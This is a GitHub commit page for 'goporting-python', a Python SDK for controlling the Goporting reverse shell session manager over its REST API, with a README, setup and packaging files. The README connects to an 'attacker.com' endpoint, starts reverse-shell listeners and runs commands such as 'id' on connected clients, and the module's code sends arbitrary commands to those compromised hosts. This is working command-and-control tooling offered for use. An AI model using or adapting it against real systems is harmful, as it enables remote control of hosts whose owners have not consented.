Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Commit 7c804fe

Browse filesBrowse files
author
Md Sulaiman
committed
pre-commit
0 parents  commit 7c804fe
Copy full SHA for 7c804fe

File tree

Expand file treeCollapse file tree

6 files changed

+369
-0
lines changed
Filter options
Expand file treeCollapse file tree

6 files changed

+369
-0
lines changed

‎.gitignore

Copy file name to clipboard
+138Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
# Byte-compiled / optimized / DLL files
2+
__pycache__/
3+
*.py[cod]
4+
*$py.class
5+
6+
# C extensions
7+
*.so
8+
9+
# Distribution / packaging
10+
.Python
11+
build/
12+
develop-eggs/
13+
dist/
14+
downloads/
15+
eggs/
16+
.eggs/
17+
lib/
18+
lib64/
19+
parts/
20+
sdist/
21+
var/
22+
wheels/
23+
share/python-wheels/
24+
*.egg-info/
25+
.installed.cfg
26+
*.egg
27+
MANIFEST
28+
29+
# PyInstaller
30+
# Usually these files are written by a python script from a template
31+
# before PyInstaller builds the exe, so as to inject date/other infos into it.
32+
*.manifest
33+
*.spec
34+
35+
# Installer logs
36+
pip-log.txt
37+
pip-delete-this-directory.txt
38+
39+
# Unit test / coverage reports
40+
htmlcov/
41+
.tox/
42+
.nox/
43+
.coverage
44+
.coverage.*
45+
.cache
46+
nosetests.xml
47+
coverage.xml
48+
*.cover
49+
*.py,cover
50+
.hypothesis/
51+
.pytest_cache/
52+
cover/
53+
54+
# Translations
55+
*.mo
56+
*.pot
57+
58+
# Django stuff:
59+
*.log
60+
local_settings.py
61+
db.sqlite3
62+
db.sqlite3-journal
63+
64+
# Flask stuff:
65+
instance/
66+
.webassets-cache
67+
68+
# Scrapy stuff:
69+
.scrapy
70+
71+
# Sphinx documentation
72+
docs/_build/
73+
74+
# PyBuilder
75+
.pybuilder/
76+
target/
77+
78+
# Jupyter Notebook
79+
.ipynb_checkpoints
80+
81+
# IPython
82+
profile_default/
83+
ipython_config.py
84+
85+
# pyenv
86+
# For a library or package, you might want to ignore these files since the code is
87+
# intended to run in multiple environments; otherwise, check them in:
88+
# .python-version
89+
90+
# pipenv
91+
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92+
# However, in case of collaboration, if having platform-specific dependencies or dependencies
93+
# having no cross-platform support, pipenv may install dependencies that don't work, or not
94+
# install all needed dependencies.
95+
#Pipfile.lock
96+
97+
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
98+
__pypackages__/
99+
100+
# Celery stuff
101+
celerybeat-schedule
102+
celerybeat.pid
103+
104+
# SageMath parsed files
105+
*.sage.py
106+
107+
# Environments
108+
.env
109+
.venv
110+
env/
111+
venv/
112+
ENV/
113+
env.bak/
114+
venv.bak/
115+
116+
# Spyder project settings
117+
.spyderproject
118+
.spyproject
119+
120+
# Rope project settings
121+
.ropeproject
122+
123+
# mkdocs documentation
124+
/site
125+
126+
# mypy
127+
.mypy_cache/
128+
.dmypy.json
129+
dmypy.json
130+
131+
# Pyre type checker
132+
.pyre/
133+
134+
# pytype static type analyzer
135+
.pytype/
136+
137+
# Cython debug symbols
138+
cython_debug/

‎Makefile

Copy file name to clipboard
+7Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
test: build
2+
twine upload --repository-url https://test.pypi.org/legacy/ dist/*
3+
release: build
4+
twine upload dist/* --skip-existing
5+
build:
6+
python setup.py sdist bdist_wheel
7+
twine check dist/*

‎README.md

Copy file name to clipboard
+56Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Goporting-Python
2+
3+
Python SDK for reverse shell sessions manager [Goporting v1.3.1](https://github.com/ThraetCode/Goporting)
4+
5+
## Install
6+
7+
```bash
8+
pip install goporting-python
9+
```
10+
11+
## Usage
12+
13+
### Connect to Goporting endpoint
14+
```python
15+
import goporting_python as pp
16+
17+
p = pp.Goporting("attacker.com", 7331)
18+
```
19+
20+
### Create a reverse shell server
21+
22+
```python
23+
server = p.create_server("0.0.0.0", 13339)
24+
```
25+
26+
### Stop a reverse shell server
27+
28+
```python
29+
server = servers[0]
30+
server.delete()
31+
```
32+
33+
### Get all available listening servers
34+
35+
```python
36+
servers = p.get_servers()
37+
for server in servers():
38+
print(server)
39+
```
40+
41+
42+
### Get all online Clients of a server
43+
44+
```python
45+
server = servers[0]
46+
clients = server.get_clients()
47+
for client in clients:
48+
print(client)
49+
```
50+
51+
### Execute a command on a client
52+
53+
```python
54+
client = clients[0]
55+
client.system("id")
56+
```

‎goporting_python/__init__.py

Copy file name to clipboard
+141Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
import requests
2+
3+
class Server:
4+
def __init__(self, goporting, host, port, digest=None):
5+
self.goporting = goporting
6+
self.host = host
7+
self.port = port
8+
self.digest = digest
9+
self.debug = goporting.debug
10+
11+
def create(self):
12+
assert self.digest == None
13+
url = "{}/api/server".format(self.goporting.url)
14+
if self.debug: print(url)
15+
data = {
16+
"host": self.host,
17+
"port": self.port,
18+
}
19+
if self.debug: print(data)
20+
response = requests.post(url, data=data).json()
21+
if self.debug: print(response)
22+
assert response["status"]
23+
server = response["msg"]
24+
self.digest = server["hash"]
25+
26+
def delete(self):
27+
assert self.digest != None
28+
url = "{}/api/server/{}".format(self.goporting.url, self.digest)
29+
if self.debug: print(url)
30+
response = requests.delete(url).json()
31+
if self.debug: print(response)
32+
assert response['status']
33+
return response['status']
34+
35+
def get_clients(self):
36+
url = "{}/api/server/{}/client".format(self.goporting.url, self.digest)
37+
if self.debug: print(url)
38+
response = requests.get(url).json()
39+
if self.debug: print(response)
40+
assert response['status']
41+
result = []
42+
for digest, client in response['msg'].items():
43+
result.append(Client(
44+
self,
45+
digest,
46+
client['host'],
47+
client['port'],
48+
client['python2'],
49+
client['python3'],
50+
))
51+
return result
52+
53+
def __str__(self):
54+
return "[{}] {}:{}".format(self.digest, self.host, self.port)
55+
56+
def __repr__(self):
57+
return str(self)
58+
59+
class Client:
60+
def __init__(self, server, digest, host, port, python2, python3):
61+
self.server = server
62+
self.digest = digest
63+
self.host = host
64+
self.port = port
65+
self.python2 = python2
66+
self.python3 = python3
67+
self.debug = server.debug
68+
69+
def delete(self):
70+
url = "{}/api/client/{}".format(self.server.goporting.url, self.digest)
71+
if self.debug: print(url)
72+
response = requests.delete(url).json()
73+
if self.debug: print(response)
74+
assert response['status']
75+
return response['status']
76+
77+
def system(self, cmd):
78+
url = "{}/api/client/{}".format(self.server.goporting.url, self.digest)
79+
if self.debug: print(url)
80+
response = requests.post(url, data={"cmd": cmd}).json()
81+
if self.debug: print(response)
82+
assert response['status']
83+
return response["msg"]
84+
85+
def __str__(self):
86+
return "[{}] {}:{}\nPython2: {}\nPython3: {}".format(
87+
self.digest,
88+
self.host,
89+
self.port,
90+
self.python2,
91+
self.python3,
92+
)
93+
94+
def __repr__(self):
95+
return str(self)
96+
97+
class Goporting:
98+
def __init__(self, host, port, debug=False):
99+
self.host = host
100+
self.port = port
101+
self.url = "http://{}:{}".format(self.host, self.port)
102+
self.debug = debug
103+
104+
def create_server(self, host, port):
105+
server = Server(self, host, port)
106+
server.create()
107+
return server
108+
109+
def get_server(self, digest):
110+
url = "{}/api/server/{}".format(self.url, digest)
111+
if self.debug: print(url)
112+
response = requests.get(url).json()
113+
if self.debug: print(response)
114+
assert response['status']
115+
server = Server(self, response['msg']['host'], response['msg']['port'], digest)
116+
return server
117+
118+
def get_servers(self):
119+
url = "{}/api/server".format(self.url)
120+
if self.debug: print(url)
121+
response = requests.get(url).json()
122+
if self.debug: print(response)
123+
assert response['status']
124+
result = []
125+
for digest, server in response['msg']['servers'].items():
126+
result.append(Server(
127+
self,
128+
server['host'],
129+
server['port'],
130+
digest,
131+
))
132+
return result
133+
134+
def delete_server(self, digest):
135+
return self.get_server(digest).delete()
136+
137+
def __str__(self):
138+
return "Goporting RESTful API EndPoint: {}".format(self.url)
139+
140+
def __repr__(self):
141+
return str(self)

‎requirements.txt

Copy file name to clipboard
+1Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
requests

‎setup.py

Copy file name to clipboard
+26Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
import setuptools
2+
3+
with open("README.md", "r", encoding="utf-8") as fh:
4+
long_description = fh.read()
5+
6+
setuptools.setup(
7+
name="goporting-python",
8+
version="1.0.3",
9+
author="Threat Code",
10+
author_email="connect@w3security.tech",
11+
description="Python SDK for reverse shell sessions manager - Goporting v1.4.1",
12+
long_description=long_description,
13+
long_description_content_type="text/markdown",
14+
url="https://github.com/ThraetCode/Goporting-Python",
15+
packages=["goporting_python"],
16+
classifiers=[
17+
"Programming Language :: Python :: 3",
18+
"Operating System :: Microsoft :: Windows",
19+
"Development Status :: 5 - Production/Stable",
20+
"License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)",
21+
"Topic :: System :: Networking",
22+
],
23+
python_requires='>=3.6',
24+
keywords='goporting, sdk, reverse shell',
25+
install_requires=["requests"],
26+
)

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.